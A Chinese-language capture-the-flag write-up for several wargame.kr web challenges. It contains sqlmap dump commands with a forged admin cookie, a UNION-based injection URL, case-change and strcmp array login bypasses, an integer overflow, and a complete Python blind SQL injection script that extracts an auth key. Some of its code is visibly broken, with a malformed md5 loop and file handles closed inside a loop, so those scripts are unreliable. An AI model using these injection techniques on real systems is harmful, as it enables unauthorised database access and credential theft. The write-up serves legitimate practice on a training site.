

0x07 ip log table

```
http://wargame.kr:8080/ip_log_table/chk.php
存在注入 使用 sqlmap
sqlmap.py -u "http://wargame.kr:8080/ip_log_table/chk.php" --data="idx=1112" --cookie="chat_id=admin;"
sqlmap.py -u "http://wargame.kr:8080/ip_log_table/chk.php" --data="idx=1112" --cookie="chat_id=admin;" -D ip_log_table -T admin_table --dump
+-----+-----+
| id      | idx | ps      |
+-----+-----+
| blue_admin | 1   | 0h~myp4ss! |
+-----+-----+
```

0x08 login_filtering

```
查看源码,得到:

$row=mysql_fetch_array(mysql_query("select * from user where id='$id' and ps=md5('$ps')"));
if(isset($row['id'])){
    if($id=='guest' || $id=='blueh4g'){
}

其中并未对 guest 大小写进行判断, sql 查询时,不区分大小写,故使用 Guest guest 登录即可
```

0x09 md5 password

源码中使用了 md5(\$ps,true), 并把 结果拼入了 sql 查询语句 寻找 md5 加密后带有 'or' 的字符串即可

```
from hashlib import md5
import itertools

a = "0123456789abcdefghijklmnopqrstuvwxyz~!@#%^&*()_+|"

for key in itertools.product(a,repeat=4):
    s = md5('').join(key)).digest()
    if s.find('\ '=\'')>0:
        print ''.join(key)
        print s.encode('hex')
        break
```

0x0A php c

下载 p7.c 源代码, 审计发现其中存在 int 溢出 (i=i+5;)
输出一个足矣溢出的数 4294967293
返回结果为 -2147483644
注: D1 的最大长度限制为 9 , 需要去除最大长度限制

0x0B QR CODE PUZZLE

查看网页源代码
直接访问 URL http://wargame.kr:8080/qr_code_puzzle/img/qr.png
丢到二维码解码网站即可得到 flag

0x0C strcmp

源码中直接对参数使用了 strcmp
strcmp(\$_POST['password'], \$password)
当 strcmp 的参数是数组时,即可绕过判断

0x0D web chatting

以下地址存在注入
http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=0%20union%20select%201,group_concat%28readme%29,3,4,5%20from%20chat_log_secret%20--

0x0E loney_guys

一个盲注题目,直接跑脚本

```

import urllib, urllib2, cookielib

cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

URL = 'http://wargame.kr:8080/lonely_guys/'

def sendsort(pstr):
    params = {'sort':pstr}
    try:
        req = urllib2.Request(URL, urllib.urlencode(params))
        operate = opener.open(req)
    except:
        print 'Error'
        exit(1)

    if len(operate.read()) > 1370:
        return 1
    else:
        return 0

TEMPLATE = 'desc,if((ascii(mid((select authkey from authkey limit 1),%d,1))>%d),1,(select 1 from information_schema.tables))'

'''
for i in range(32,50):
    if sendsort(TEMPLATE%(i,0)) == 0:
        print i,'OK'
        break
    else:
        print i
'''

# len = 40
flag = []
for i in range(1,41):
    a = 31
    b = 128
    while abs(a-b)>1:
        c = int((a+b)/2)
        if sendsort(TEMPLATE%(i,c)) == 1:
            a = c
        else:
            b = c
    if sendsort(TEMPLATE%(i,a)) == 0:
        c = a
    else:
        c = b
    print chr(c),
    flag.append(chr(c))

print 'Flag:', ''.join(flag)

```

0x0F wtf_code

使用脚本解密

```

def t2i(str):
    out = 0
    for i in range(0,8):
        out += int(str[i])*(2**(7-i))
    return out

f = open('source_code.ws','r')
fo = open('out.txt','w+')
x = f.readline()
x = f.readline()
k = 0
while x:
    out = ''
    for c in x:
        if c==' ':
            out += '0'
        else:
            out += '1'
    x = f.readline()
    l = len(out)
    if 8 <= l <= 11 and k%2 ==0:
        print out
        c = t2i('0'+out[l-8:l-1])
        print chr(c)
        fo.write(chr(c))
        k+=1
    f.close()
    fo.close()

```

更多 writeup 请参考: <http://www.brightyin.me/index/archives/60>